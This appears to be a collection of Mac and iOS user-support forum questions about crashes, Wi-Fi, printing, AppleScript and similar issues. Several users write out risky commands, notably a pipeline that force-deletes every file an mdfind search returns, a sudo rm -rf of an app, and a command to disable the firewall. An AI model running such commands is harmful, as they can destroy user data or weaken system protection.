texts: How to solve the crashing problems with MacOS Sierra and interpret this log?

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I have a Macbook 5,1, and installed a patched version of MacOS Sierra not long time ago.  If it matters the battery is not original, and the magsafe is also replaced. It also used to crash often with the old magsafe while I connected and disconnected repeatedly, this new magsafe I've soldered recently and I dont if it makes any problems.

But today it crashed twice first time I was working with software. Just now I was only browsing the internet, safe sites that I visit regularly and there is no reason why it should crash but it did. I dont understand much from this log and dont know what I could do to find out the reason it crashes.

From system.log

  Apr 18 22:09:11 myself GoogleSoftwareUpdateAgent[873]: 2017-04-18 22:09:11.952 GoogleSoftwareUpdateAgent[873/0x7fffb29b03c0] [lvl=2] -[KSAgentApp setupLoggerOutput] Agent settings: KSAgentSettings:0x100206c50 bundleID=com.google.Keystone.Agent lastCheck=2017-04-18 18:08:48 +0000 checkInterval=18000.000000 uiDisplayInterval=604800.000000 sleepInterval=1800.000000 jitterInterval=900 maxRunInterval=0.000000 isConsoleUser=1 ticketStorePath=/Users/myself/Library/Google/GoogleSoftwareUpdate/TicketStore/Keystone.ticketstore runMode=3 daemonUpdateEngineBrokerServiceName=com.google.Keystone.Daemon.UpdateEngine daemonAdministrationServiceName=com.google.Keystone.Daemon.Administration logEverything=0 logBufferSize=2048 alwaysPromptForUpdates=0 productIDToUpdate=(null) lastUIDisplayed=(null) alwaysShowStatusItem=0 updateCheckTag=(null) printResults=NO userInitiated=NO>

  Apr 18 22:10:36 myself com.apple.xpc.launchd[1] (com.apple.quicklook[874]): Endpoint has been activated through legacy launch(3) APIs. Please switch to XPC or bootstrap_check_in(): com.apple.quicklook

  Apr 18 22:14:46 myself com.apple.xpc.launchd[1] (com.apple.quicklook[881]): Endpoint has been activated through legacy launch(3) APIs. Please switch to XPC or bootstrap_check_in(): com.apple.quicklook

  Apr 18 22:16:18 localhost bootlog[0]: BOOT_TIME 1492542978 0


texts: Not able to open print setup in my mac. I use OS X EI Captain 10.11.1

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I am not able to open print setup.
When I Open Print Queue, i get the following screen

I am not even able to given double sided printout.

Please help me out

Basically, I want to give back to back printout. But I am not getting that option at all.. In print setup, when choose Layout, the "two sided" dropdown is greyed out as shown below.


texts: Presenter notes in Keynote Window Mode using Apple Script

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Unfortunately, Keynote does not allow (as far as I know) to have presenter notes displayed when used in window mode. I'm trying to work around this by using Apple Script. More precisely, I generate a PDF document where on page n I have the presenter notes for slide n. I then open up my Keynote presentation in Window mode and the Skim PDF viewer. I use the following Apple Script to simultaneously advance the slides and the PDF
tell application "Keynote"
        activate
        show next
        set selectedSlide to slide number of current slide of front document
end tell
tell application "Skim"
    tell document 1
        go to page selectedSlide
    end tell
end tell

What puzzles me is that Skim is always one slide behind, so it displays page n-1 instead of n. This is (although I don't understand why) not too much trouble (as I could simply add one to the slide variable), but another more serious problem arises. Some of my slides have embedded movies which need a click to be played. The PDF document should remain on the same page, since only the movie is played, but the slide number does not increase. Nonetheless the PDF moves one page forward. Does anyone understand what's the problem here? (I'm using Keynote 10.3.9 and Skim 1.6 on macOS 10.15.6)


texts: Retina MacBook Pro and external Thunderbolt display resolutions in Windows 8.1

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I just replaced my 17″ MBP with a brand new 15″ rMBP. I still need to do a lot of Windows work, therefore I have Windows 8.1 installed (bootcamp and parallels).

I use my external Thunderbolt display at native resolution with the lowest scaling.

However I am not able to have both displays deliver crisp images. Either the built in display is blurry or the external Thunderbolt display is blurry.

The best setup I have found so far is:

Enable 'Let me choose one scaling level for all my displays' and set the size to 'Smaller - 100%'. Now the Thunderbolt displays works as it should. However everything is now waaaaay to small in the built in MBP Screen. I then switch the resolution to 1920x1200 and now items display at an acceptable size, however they are a bit blurry.

This is an alternate setup (rMBP display is fine here, but not the Thunderbolt display):
Disable 'Let me choose one scaling level for all my displays' and choose the recommended size. Now things look great on the built in display.
However the Thunderbolt display is now a bit blurry, because things are scaled up when they should not be.


texts: Erased Windows partition with Disk Utility still can see the EFI boot on the boot screen

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This the setup I had

iMac 21 inch
HDD (500GB) for macOS installation
SSD (256GB) for Windows 10 installation

This was working perfectly, until I upgraded to High sierra.

After upgrading to High Sierra, macOS stuck at the booting process and shows the spinning wheel all the time. Therefore I used the recovery mode and re-installed high sierra again but no luck. During that time I have erased the Windows 10 SSD via Disk Utility as well.

Then I used a Time Machine back up (2 years old) and reinstalled OS X El Captain. After three and half hour installation process, it booted and shows the white screen with the cursor. In safe mode it worked, but when I use normal mode it didn't.  Then I followed these steps:

Tried to reset the NVPRM, in the restart process Windows BSOD came
up and displays the recovery options. In startup disk the boot volume was set to Macintosh HD.
Then used the Internet recovery, opened the terminal and entered diskutil list. It shows disk0 as Windows partition, disk1 as
Macintosh and disk2 as recovery partition.

But I can see partitions up to disk20 each having ~1 MB allocated space.

Checked diskutils cs list, it shows no CoreStorage logical volume groups found

Now I am running out of idea about how to recover the system.
I have created an image of the Macintosh HD before using Internet recovery therefore I'm not worrying data loss.

The image below was taken after I erased the Macintosh partition to install macOS again – I haven't installed it yet.


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Recently I'm facing random unexpected shutdown on rMBP mid-2014. I've clean installed the Yosemite with clean user and issue still continues. Apple online support suggested to work on Safe Mode and it didn't shutdown.

P.S.: I was working on Brackets code editor (http://brackets.io) when the first unexpected shutdown happened.

I inferred there is an issue with Intel Iris Pro, so I decide to delete the following kext file and the device didn't shutdown

AppleIntelBDWGraphics.kext
AppleIntelBDWGraphicsFramebuffer.kext
AppleIntelBDWGraphicsGLDriver.bundle
AppleIntelBDWGraphicsVADriver.bundle
AppleIntelBDWGraphicsVAME.bundle
AppleIntelHD3000Graphics.kext
AppleIntelHD3000GraphicsGA.plugin
AppleIntelHD3000GraphicsGLDriver.bundle
AppleIntelHD3000GraphicsVADriver.bundle
AppleIntelHD4000Graphics.kext
AppleIntelHD4000GraphicsGLDriver.bundle
AppleIntelHD4000GraphicsVADriver.bundle
AppleIntelHD5000Graphics.kext
AppleIntelHD5000GraphicsGLDriver.bundle
AppleIntelHD5000GraphicsVADriver.bundle
AppleIntelHDGraphics.kext
AppleIntelHDGraphicsFB.kext
AppleIntelHDGraphicsGA.plugin
AppleIntelHDGraphicsGLDriver.bundle
AppleIntelHDGraphicsVADriver.bundle

So what are your thoughts?
Thanks


texts: MS Office 365 Outlook Calendar really slow

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I am facing a problem with my Outlook, specifically the calendar. When I open it, it takes around 10-15 seconds to load. Every time. This is extremely frustrating and I need to fix it.
I run an Apple Macbook pro 2016 with 16 GB or RAM and an i5. Performance hardware-wise shouldnt be the issue.
Specs: Mac OS 11.2
Outlook 16.47
Account: Exchange Mail account
Problem might be that the exchange account is now 10 years old and heavily used. For obvious reasons, I cannot delete content there. Is there any way to speed things up?


texts: Can I run a script in the background? (Apple script editor)

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I have a script on apple script editor for a discord bot. (Discord is a chatting app my friends and I use) The discord bot is called "Dank Memer" and basically there are coins that you can get by typing in certain commands, such as "pls beg". I have a bot that I can run overnight to farm coins, the problem is that i need my laptop to be on that window to run it, since all it does is type the command and then press return. I was wondering if I could run the script in the background so I can farm coins 24/7.

Here's the code.

tell application "System Events"
    repeat
        delay 40
        keystroke "pls beg"
        keystroke return
    end repeat
end tell


texts: MBP 13" 2015 + high sierra with external monitor : wifi being spotty and dropping service irregularly

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I have a MPB 2015 13" MBP with High Sierra.
I bought a ViewSonic VP3881 monitor.
Monitor works flawless. (Except for a documented feature of sound control access from keyboard not working.)

But for some reason the wifi is being VERY spotty. I've had the monitor for 2 weeks now and I can't find an obvious pattern, except that it looses connection with the wifi on an irregular basis, while at the same time I have an older MacMini 2014 (El Capitain) on the same wifi, that does NOT drop the connection. Sometimes when rebooting it picks up the wifi, sometimes not even after reboot. Unplugging the monitor seem to make the wifi came back every time though.

Why would an external monitor interject with wifi?

This seem like a hardware problem, so I'm more or less forced to accept the situation, but hoping that there might be a checkbox somewhere I need to set to fix it?


texts: CD digital audio ripping tool for OS X that has accurate extraction, error detection, and verbose reporting?

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I'm almost ready to say I have found a good OS X replacement for every piece of software I use on Windows (excluding some Windows development tools), but there's still this gap to fill:

For CD digital audio ripping / extraction, I use a tool on Windows called EAC - Exact Audio Copy.  I like EAC because:

it supports a very reliable extraction mode by default,
it takes advantage of drive features like C2 error correction
(and will tell you if your CD-ROM drive doesn't have it)
it validates tracks were ripped accurately by consulting an online database, and
it reports verbose details about potential issues, when they arise, and I can then listen to the track to see if the issues are perceptible or not.

In a nutshell, I can be confident whether a track was reliably ripped or not when using EAC.

I don't get this sense of confidence from iTunes.  iTunes has an option under Import Settings to Use error correction when reading Audio CDs, but that seems to be the extent of reliability-oriented settings in iTunes. Currently, I'll use iTunes if the disc I'm ripping appears pristine and without scratches – otherwise I turn to EAC.

Is there an application for OS X that, like EAC above, focuses on reliable CD digital audio extraction and provides detailed information?  Thank you.


texts: Delete / Uninstall iTunes on macOS High Sierra (v10.13)

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How can I remove iTunes from my Mac?

I've tried to delete it via Terminal and using the app AppCleaner. No luck.

cd /Applications/
sudo rm -rf iTunes.app/

Results in: Operation not permitted

I also tried to change iTunes.app to "Read Write" for everyone but macOS won't allow me to do that even as root.


texts: MacBook Pro won't connect to Wi-Fi, with correct password. Error: "The Wi-Fi network requires a WPA2 password"

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I'm trying to connect to my home Wi-Fi. When I enter the correct password, I get the message

The Wi-Fi network requires a WPA2 password

I verified the password is correct in my router configuration.
I am using a 2017 MacBook Pro, running macOS Mojave 10.14.2.
I restarted my modem/router combo, restarted my MacBook, tried removing the home Wi-Fi and re-adding it (under System Preferences → Networks → Advanced → Preferred Networks), and changed the Wi-Fi password. Nothing works. My Wi-Fi name (SSID) doesn't have any special characters either.
I have another 2015 MacBook Pro and an iPhone that can connect to my home Wi-Fi with no problems. So, it seems issue seems to be particular to this device (the 2017 MacBook Pro) in combination with my home network. This device has no problems connecting to other Wi-Fi networks (it works successfully at my office, at the airport, other homes, etc.)
How do I resolve it?


texts: Wifi still going dead on upgrade from iOS 6?

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Having read about instances of wifi chips going dead on iOS upgrade, and knowing someone who had this happen 2-3 years ago, I have delayed upgrading the iOS on my iphone4.  I am at iOS 6.

Has this problem been fixed or averted in iOS versions currently available?

tl;dr: Could my Wifi chip go dead when I upgrade my iPhone 4 from iOS 6 to iOS 7?


texts: Saving my all iMessage conversations to Windows 10

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I need to save my iMessage conversations as they are, because I'm afraid all the updated dialogue will be erased as soon a I restore my iPod from a previous backup.  The restoring of the iPod will happen, I just don't want to lose any dialogue from this very second until the last time I backed up my iPod. The conversation is very long and very important to me, and I need to keep all of it.  I am not looking to add an unknown, potentially hazardous software of program.

Any help will be greatly appreciate.
Thank you for you time and attention.


texts: Where is Android SDK manager download files?

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Actually, I installed Android Studio on my MacBook Pro and then requested the SDKs from the SDK manager of Android Studio. I set downloads and then abandoned the MacBook Pro in the office and now I see all downloads failed.

So I wanna find all downloaded packages or corrupted downloaded files or partially downloaded files and delete them.

Where does the Android Studio SDK manager download its files?


texts: Why is my new mid-2011 Air dropping wifi signal which old 2008 MacBook can hold? And is this related to my complete machine failures?

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I'm on my third mid-2011 MacBook Air in less than a month and this weird wifi problem may be related to the sudden, black screen bricklike nature of its predecessors.

The Air works fine when in the same large living room as the NexusLink 5631 router, but when I go into adjacent rooms, including, irritatingly, the one where my desk is, it repeatedly loses and regains its wifi signal. (Sites don't load in the browser, it stops being able to play music to the speakers in the living room, it stops being able to find the Time Machine backup drive in the living room, etc.)

My several year old MacBook does not have this problem and we haven't changed the router setup. This lost wifi signal problem is purely an issue with the Air.

The first two Airs I had suffered catastrophic failures. The pattern I can reconstruct is that at after getting them and using Time Machine to restore them to have all my old files, I had put them on my desk in the other room and put them to sleep in there overnight for the first time. In the morning they would not start, would not even display any error. The folks at the Genius Bar couldn't figure out what was wrong with them (as far as I know could get no response from them at all) and so exchanged them for new machines.

When Airs #1 and #2 failed they had been connected to
1) a power supply that was connected to a power strip plugged into an outlet;
2) an external Nocent LCD monitor LM965WA with their lids up, displays unmirrored;
3) a powered Aquagate Monospace USB 2.0 7 port hub;
4) through the hub, a powered down HP Deskjet 920C printer; a powered up Brother HL2140 laser printer; and a Fitbit base station.

They had been connected to Time Machine on a Drobo in the other room, adding to the same history as previous machines.

Note that all of the above had been used without issue, apart from dropping wifi signal, prior to the overnight machine deaths. Also note that the old MacBook performed great for months and months in this setup.

With Air #3, we got a lot more cautious.
We started a new sparsebundle to give it its own Time Machine history, on the principle that perhaps a history going back to 2008 was too much for it to handle over the air.
I have successfully put Air #3 to sleep overnight in the living room (where the router is) plugged into a new power cable.
I have also done so in the other room on my desk, also with new cable, using the same power outlet, but not going through the surge suppressor.

Air #3 has the same wifi dropping problem as the prior two Airs, so I'm wondering if this is an issue I'd have with any new machine or if I have received three defective machines.

My QA process to see if Air #3 will die overnight like it's pals is going to involve step by step letting it sleep overnight reintroducing one at a time the elements above, postponing the surge suppressor and Fitbit to last in the process.

However, it is unclear if the wifi issue is a cause of the failure (hard to see quite how when the machine is asleep and not trying to connect to, say, do an enormous Time Machine backup) or merely a coincidentally occurring problem.

Troubleshooting suggestions or pointers to others with either of these problems would be gratefully received!


texts: How to set a custom icon inside a signed Apple Script application?

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I'm using Apple Script to distribute a signed applet, and would like to use a custom icon. However, as soon as I export it from Script Editor, the bundle loses the custom applet.icns file I put in it. It's reverted to the standard script icon (see screenshot).

How do I export my script as an app without losing my custom icon?

If not possible: are there other ways to sign an Apple Script application bundle on OS X 10.10? This would allow me to do a manual icon replacement and sign the bundle afterwards.

Important twist: Replacing the applet.icns file afterwards is not an option, as the bundle won't pass signature validation anymore. In short, users get a damaged app error when launching the app, unless they have lowered their OS X security.


texts: RMBP 2013 and forcing windowed games in Low Resolution Mode

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Is it possible to launch a program without an associated .app bundle with the Open in Low Resolution mode activated? I am talking about ~/Library/Application\ Support/Steam/SteamApps/common/dota\ 2\ beta/dota_osx which is a Mach-O executable i386

For that matter command-line mplayer would also qualify.


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I am trying to dual boot with linux on my 2012 MacBook Pro running MacOs High Sierra. Whenever I try to add a partition for my linux system, It says this: "A problem occurred; undoing Logical Volume resize changes.Unable to perform your specific resize request while busy encrypting.Operation failed…"
Does anybody know what is happening?


texts: Why is Icon List not appearing in Xcode?

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I am trying to add an icon into my iPhone application. To do this, I need to add an icon image via the Xcode interface into my plist option labeled "Icon List."

However, the "Icon List" option under my plist options is not appearing. Is Xcode hiding it somewhere?


texts: Issue turning firewall off on OS X El Capitan 10.11.2

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I'm trying to make a simple web server on my machine accessible to a peer on the same network, but with not much success. I am having an issue where my firewall continually turns back on, or won't turn off (I can't be sure which).

I go into System Preferences -> Security & Privacy -> Firewall, unlock settings, and click 'Turn off Firewall'. It appears to work. I click the lock in the bottom left to save my settings, and then exit System Preferences. But a port scan shows none of my ports are accessible to inbound connections, still. Then I go back into firewall settings, and it shows my firewall as being on again, even though I just turned it off.

What I have tried so far:

I have searched for others having this problem, but I cannot find anything.
I also restarted my machine, but the issue persists.
Per some google results, I executed sudo defaults write /Library/Preferences/com.apple.alf globalstate -int 0 in terminal, but defaults read /Library/Preferences/com.apple.alf globalstate still returns 1 (on).

How can I turn my firewall off?

EDIT: I think this may be related to the fact that these firewall settings were set on my previous Macbook Pro, and I have since upgraded to a newer macbook using Time Machine.


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Let say I have this in my clipboard :

************TH4F    fsdfssdggg0878  Ex.US   Unknown 0   $100.00 05/24/17 04:40  No Bonus
************TH4F    fsdfssdggg0878  Un.UK   Unknown 0   $50.00  05/20/17 04:44  No Bonus

who can I only keep the total and add it in a list and same for the date ?

I'm a bit stuck on the script for now :

repeat with i in (get (the clipboard)'s text items)
    return i
end repeat


texts: Dragging away a fullscreen window on Mac

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I have recently switched to Mac after using Linux Mint and still getting used to its UX paradigms.

Is it possible to:

Go on full screen with a window by clicking on the blue dot.
Then drag the window to the side by grabbing it on the top (while it is in full screen mode)? In other words the action of dragging would take the window out of full screen mode.

Is it possible to make this tweak on OS X Yosemite 10.10.5?

It's just something I am used to do often and I wonder if the only option is to un-learn it.


texts: Can applications be using mic/camera without permission?

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Normally when an application on iPhone or iPad needs to access the microphone or camera it should get permission from the user.

Considering applications for iOS distributed through AppStore,
if such an application never asked for permission, and isn't listed in the privacy tab in Settings, is it guaranteed that the application can't access the microphone or camera?


texts: Downloaded a torrent of cracked software – think my Mac is now infected

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So I downloaded a torrent of Apple Final Cut Pro.

There was a quick pop of either Terminal or Green looking terminal. The said application (green Terminal) opened and close, opened and close, and so on for a short period of time. It looked fishy so I didn't know whether it's a virus or not.

Can someone help me. Am I safe? Should I factory reset?


texts: Cannot reinstall OS X on a MacBook Pro (13-inch, Mid 2009)

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My hard drive crashed, so I purchased a new one on Amazon. I have installed it and located an OS X Disk to install from.

I don't want to restore from any backups as this is just a computer with no saved files.

I am in the startup and it asked me to choose a location to install OS X but there is nothing to choose.

How can I install OS X on this machine?


texts: Python Launcher shows nothing on the terminal

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I installed python 3 in Mac OS. When I first time ran a python program using Python Launcher, it asked for something like printing access to terminal. I declined it. Now when I run any python program, it opens the terminal, executes the program, but doesn't show any output. I tried searching in the settings to give Python Launcher the access but didn't found anything.

How do I give Terminal access to Python Launcher?


texts: Why can't I install Xcode 4.4 on Mountain Lion?

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When I try to download the Xcode 4.4 update I'm presented with this error:

Xcode can’t be installed on “Mac HD” because the version of OS X is too new.

But the change log says that the update is for Lion and Mountain Lion.


texts: When I plug my IE80 into my Macbook Air and play any audio, it has a hissing noise in the background. I tried the solution in How can I make my Macbook Pro's headphone jack stop "humming"? by changing audio MIDI setup and it did not work. So I am wondering whether there is some other ways to solve i


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Edit: This is a bug
After a restart, normal behavior returned.
Also, I noticed some files that appeared on the external display momentarily and disappeared. These files only showed from a Finder window showing the Desktop but did not show on either Desktop (aside from showing for a second when switching Desktops).

When using an external display (not mirroring), I cannot focus on the Desktop (by clicking on it) or drag files to it.
If I have an App open there, clicking anywhere on the screen will simply keep the focus on the latest App and will not switch to the Finder.
Dragging a file to the external Desktop simply bounce back.

Cannot say if it's a High-Sierra thing or earlier, or whether it's an expected behavior.

(Similar unanswered issues:
Display desktop icon in all displays
Can new files created in ~/Desktop be made to appear on a monitor other than the Main Display?)


texts: How to access other users' files via Terminal in OS X?

texts: I am an admin that wants to access other users' files. How to do this via the Terminal?


texts: How can I add a custom message in the macOS login screen?

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Our community group has just had three Apple Macs donated to us. Two are laptops with macOS Sierra installed and one is an iMac with macOS High Sierra installed.

I’ve been asked to add a custom message to the login screen acknowledging the donation, but I am not familiar with Apple Macs. It only needs to be a simple message like:

  This Mac was kindly donated by X.

Is there a way of doing this without having to use any 3rd party software? I would need some very clear steps.


texts: How can I get System Information's "Installations" and such to correctly reflect the software I currently have?

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I installed a bunch of software.

Then I removed most of it.

I used a variety of methods. AppCleaner for some
things,

mdfind -name 'Adobe Flash' |parallel rm -rf {}

for others.

I removed app store software in by clicking on the little "x", and then manually cleaned out all the stuff that did not get removed.

I've gone after the receipts and .bom files.

I enabled locate, in order to get it all.

However, the Installations option in "System Information" continues to display software that is gone.

I find this disheartening, and confusing.

What strategies do I need to employ to perform the equivalent of say,

aptitude purge foo

?

The software is gone. I can reinstall it via App Store or other methods. Where have I missed? Pls advise.


texts: How can I fix the gpg-agent: Bad CPU type problem?

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If I log in my account (osx 10.15.6), I get from the start-gpg-agent.app an error message:
error "sh: /usr/local/bin/gpg-agent: Bad CPU type in executable" number 126
How can I fix it? Apple support recommend to change the default shell to zsh. But this not change the error.


texts:
I have started the update to 8.4 last night, while my phone was charging and connected to the Wi-Fi. This morning it was still working on something (the black off screen with the loading bar and apple), and then it asked for my passwords, my touch id, my iTunes account etc.

I entered the passwords etc., it got accepted and then I left my house (therefore my Wi-Fi). 10 minutes later I receive notifications that I've used 900MB of data and I owe £19 for overspending.

How is this possible? Isn't it supposed to only update when connected to Wi-Fi or with my specific permission? I have no idea how to spend 900MB in 10 minutes. Please give me an official message from Apple saying that it will not update unless on Wi-Fi, or specifically approved.


texts: Counting the number of cells which contain a specific character

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I want to count the number of cells which contain the character “1” in an Apple Numbers table row. When the row of cells include (using a space delimiter between cells),

1234  5671 1 8765 6113 2468

I want it to return a 4, because that is how many cells contain a character “1” in the row.

COUNTIF(B9:J9,“~1”) returns a 0.
COUNTIF(B9:J9,“=1”) returns a 1.
COUNTIF(B9:J9,“*1”) returns a 0.
COUNTIF(B9:J9,“?1”) returns a 0.
COUNTIF(B9:J9,“=”&(1)) returns the number of blank cells.
COUNTIF(B9:J9,“=*1*”) returns a 0.

Any ideas?


texts: how to import all iCloud contacts into Windows 10 People

texts: how can I import all my iCloud contacts into the Windows 10 People app ?


texts:
I am trying to connect to Universities VPN. I am using Cisco anyconnect.

That is the error I have:

The VPN connection is not allowed via a local proxy. This can be changed
through AnyConnect profile settings.

I have checked Cisco troubleshooting. And modified the file Remote.Access.xml.

    <ProxySettings>IgnoreProxy</ProxySettings>

Instead of:

    <ProxySettings>Native</ProxySettings>

When leaving the file after the mods I used sudo chmod 444 Remote.Access.xml to prevent changes, because each time I try to make a connection the file changes back to <ProxySettings>Native</ProxySettings>. What am I doing wrong?


texts: Cannot reach webpage for certificate generation on my developer account

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I am trying to reach the webpage for certificates under developer.apple.com. But I get redirected to the Welcome page. My Apple ID is an iCloud address *...@icloud.com.

Why does https://developer.apple.com/account/ios/certificate/
 redirect to https://developer.apple.com/account/#/welcome ?


texts: Do you know a simple sound booster app for Mac?

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Some videos on websites have the sound volume so low that even with all sound settings at maximum levels it's hard to listen.

I'm looking for an app that would allow me to boost the Mac's volume. Something similar to VLC volume controls.

I already looked at Audio Hijack, but it has way too much features for what I'm looking for.
Anything free of charge would be a plus. :)


texts:
I just got my iPhone 5, and I installed iTunes 11.01. When I connect my iPhone via USB to my laptop, it just charges. Nothing happens with iTunes nor with my iPhone.
I restarted the iTunes and my iPhone too, but nothing happened.

Is there another program like iTunes for iPhone to download songs?


texts: Can I show the Mission Control desktop number in the menu bar?

texts:
Spaces used to show the space number in the menu bar; I would glance at it regularly to see which space I was in (1, 2, 3, etc).

How do I get Mission Control to display the current desktop in the menu bar like that?


texts: Mac book pro 13 inch 2016 keyboard backlight not working

texts:
The keyboard backlight of my mac book pro hasn't worked for a while now. I assumed it was some hardware issue, maybe loosely connected wire got detached or something similar of that nature; however, recently I installed Windows on my machine, using bootcamp, and when I boot from the windows partition, the keyboard backlight worked fine.
The issue initially arose when I had my screen replaced; my original screen was cracked and I had to get it fixed.
Is there a reason for the keyboard backlight to work when booting windows and not mac? And, more importantly, does anyone know how I can rectify this issue, or the necessary steps I can take to further debug it.


texts: User folder on a different, AFPS Encrypted volume as Home folder?

texts: I have one of these iMac 5K which came with 128 GB Flash storage and 1 TB HD as Fusion Drive. Very quickly I replaced the disk with 2 TB SSD. For some time, I used the Flash as boot & apps & user folder, and kept big media (movies and Photos Library) on the SSD. Now I installed system and apps on the SSD as well, and use Flash only as a temporary storage.But I though of one better setup:Use the Flash as boot & apps, and use a folder on the SSD as my home folder (no hacking with symlinks, just via System Preferences as pictured).I believe it could be fairly easy, but then I run into a roadblock:What if I want the user volume encrypted?Because, ideally, I would have the boot & app volume on the Flash unencrypted, and then make two volumes on the SSD - one encrypted for users' folders, and one unencrypted to store large media such as 4K media I'm occasionally editing (to avoid small but measurable encryption tax).I have tried shortly with a Samsung T5 connected to my Mac:created two volumes, Boot and Usersinstalled a system (10.15.3) on Bootset up a user (skipping Apple ID / iCloud)went to Users & Groups, unlocked, ctrl-click the user to get Advanced Options..., then selected a folder on that Users volumerebooted, and it workedthen ctrl-clicked the Users HD to encrypt it using the same password as my loginlogged out and in and it was OKrestarted and got You are unable to log in to the user account at this time. Failed because an error occurredSo it's a no-go but I wonder if eithera command such as fdesetup,being logged in to iCloud, orhaving the boot volume encrypted too  with FileVault (as a last resort)could help? I sort of understand it would have to be on an EFI or system level, and it gets more complicated with the fact Catalina has itself two volumes combining boot, and with more users on that encrypted volume (but FileVault volumes can be unlocked with more passwords?). Here's the desired layout:FlashBoot HDSystemApplicationsLibrarySSDUsers HD [encrypted]UsersMedia HDFinal Cut LibraryiMovie LibraryPS: there might be some other disadvantages of this setup, but here's one: when choosing Manage... in About they Mac > Storage, I get a message that "Some features of Optimised Storage will be unavailable based on your current configuration." I don't care that much as I usually use DaisyDisk to optimise the storage.


texts:
I am planning an international flight. I have the flight details, with local departure times and arrival time at destination. I have entered these into my Calendar.

Due to the differences in timezone this appears as an 8 hour trip, when in reality is is 19.

Is there a way to enter timezone so the duration shows correctly and so when I adjust my timezone on arrival, it will show the correct local time.

I have turned on timezone support, but there seems to be no way to have a different timezone for start/end times.


texts: How to stop iPad/Safari from treating certain numbers as 'phone numbers'?

texts:
I've got some pages on an intranet that show numerical rates to 4 decimal places, eg 147.1453. When these pages are viewed on an iPad, some of these rates appear underlined and clicking on them causes the iPad to offer to create a new contact, or add to an existing contact. Clearly it thinks that the text represents a phone number (which it doesn't really, as we're in the UK and phone numbers are not formatted with periods).

Is there a way to stop this happening - either with meta-data we can put in the web pages, or by changing some setting in our iPads?


texts: Belkin Thunderbolt 2 Express Dock HD dual monitor setup

texts:
I have the Thunderbolt 2 Express Dock HD (Model no. F4U085) and I have a question to ask. The dock is attached to a Macbook Pro and everything works fine (audio, ethernet, USB devices etc). However, I cannot connect dual displays to it. My dual monitor setup is as follows: I want to attach one monitor via the HDMI port on the dock and the other via the thunderbolt port on the dock, using a MiniDP to HDMI adapter + HDMI to DVI cable to the external monitor. When I tried the setup, one of the monitors (the one connected to the HDMI port) has no output to it. If i connect it to the HDMI port on the macbook, it shows the output.

According to the official product guide, it says:

Yes.  For dual display, at least one (1) display has to be Thunderbolt or Thunderbolt 2 technology.  For displays that are not Thunderbolt technology ready, Thunderbolt port is backwards compatible with Mini DisplayPort and dock supports either HDMI or Mini DisplayPort but not both.

How can I connect dual displays to the dock ? I find this somewhat unexplained. Do I need to use an actual thunderbolt cable for one of the monitors , not an adapter?  If I buy a thunderbolt cable and a thunderbolt enabled monitor, will I be able to use the HDMI port on the dock for the second monitor ? Or the only possible dual-display scenario is with thunderbolt daisy-chaining? Has anyone had any experience with this issue?


texts: iPhone: play podcasts via voice command?

texts:
Is there a way to get the iPhone 3gs to play a Podcast via voice command?

I've tried all sorts of things and it doesn't seem to work. I believe the official answer is no, but I was wondering if there was a Cydia or other app that can achieve the same result?


texts: How to send predefined/canned SMS/iMessages?

texts:
Is there a way to prepare predefined/canned messages in order to quickly send them by SMS/iMessage on the iPhone or iPad? I find myself quite often using the same 4-5 templates:

I'm in a meeting, I will call you later!
I'm on my way
Ok, drop me an email!
Is it a good time to talk?


texts: imported mp3 ebook file is not shown in Books

texts:
I downloaded a mp3 file from author's site (not itune store or audible), and I found that the book is not in iTune's Library/Books section, but in iTune as a song.

What is necessary to make the mp3 ebook is listed in itune's Library/Books section?


texts: "Glitched" pixels, El Capitan, formula box in numbers

texts:
Today I installed El Capitan on my Macbook Pro and noticed some weird graphical effects when I was editing my numbers document:

I know that this is entirely software-related, otherwise the screen shot tool couldn't have captured it, and it turns on and off randomly, with mouse-overs and hovers.

Does anyone know a possible cause and fix of this?

My Macbook:

MacBook Pro (Retina, 15-inch, Mid 2015)
Graphics Intel Iris Pro 1536 MB
OSX El Capitan Version 10.11

My Display:

Built-in Display
15.4-inch (2880 x 1800)
Intel Iris Pro 1536 MB


texts: Maps app on iPad-mini wifi only without internet

texts: I have a iPad-mini wifi only device. Several times I have been able to pull up a map that I have bookmarked without being connected to the internet. This has been when I was in a vehicle with no cellular,data plan, ect. available. Lately this has not worked. I have location services turned on. Why can I pull up the maps sometimes but not always?


texts:
I want to build the latest maccore from source.

Problem: I have searched everywhere but can't find any build instructions.
Question: How to build maccore?

I am a Mac newbie but intimate with UNIX.


texts: Mac refuses to sleep: Reset PreventSystemSleep?

texts:
For the last month, my Mac has refused to go to sleep – even when commanding it to do so. The screen goes black, but the computer is still on.

I have checked Apple's support page and made sure that the Energy Saver settings are correct. I've also checked under the Energy tab in Activity Monitor and can't find anything that is Preventing Sleep. I have followed the instructions to reset the  SMC and NVRAM.

In Terminal, when I do pmset -g assertions I get these results:

Assertion status system-wide:
   BackgroundTask                 1
   ApplePushServiceTask           0
   UserIsActive                   1
   PreventUserIdleDisplaySleep    0
   PreventSystemSleep             1
   ExternalMedia                  0
   PreventUserIdleSystemSleep     0
   NetworkClientActive            0

Listed by owning process:
   pid 111(hidd): [0x0000014d00090344] 00:08:52 UserIsActive named: "com.apple.iohideventsystem.queue.tickle"
    Timeout will fire in 367 secs Action=TimeoutActionRelease
   pid 55(configd): [0x0000005f0007016b] 00:12:50 DenySystemSleep named: "InternetSharingPreferencePlugin"
   pid 42(UserEventAgent): [0x0000006d000b0170] 00:12:36 BackgroundTask named: "com.apple.metadata.mds_stores.power"
    Created for PID: 232.
Kernel Assertions: 0x10c=USB,BT-HID,MAGICWAKE
   id=501  level=255 0x4=USB mod=01/01/70 01:00 description=com.apple.usb.externaldevice.fd140000 owner=USB Receiver
   id=502  level=255 0x4=USB mod=01/01/70 01:00 description=com.apple.usb.externaldevice.fa120000 owner=IOUSBHostDevice
   id=503  level=255 0x4=USB mod=01/01/70 01:00 description=com.apple.usb.externaldevice.fa130000
   id=505  level=255 0x100=MAGICWAKE mod=01/01/70 01:00 description=en0 owner=en0
   id=506  level=255 0x100=MAGICWAKE mod=01/01/70 01:00 description=en1 owner=en1
   id=507  level=255 0x8=BT-HID mod=01/01/70 01:00 description=com.apple.driver.IOBluetoothHIDDriver owner=BNBTrackpadDevice
   id=508  level=255 0x8=BT-HID mod=01/01/70 01:00 description=com.apple.driver.IOBluetoothHIDDriver owner=AppleBluetoothHIDKeyboard
Idle sleep preventers: IODisplayWrangler

PreventSystemSleep is active 1 for some reason.

Misc. info:

I had the old Caffeine app installed and made sure it wasn't active and then uninstalled the application. I'm not sure how to check if the system is "caffeinated", but I don't think caffeinate is stuck.
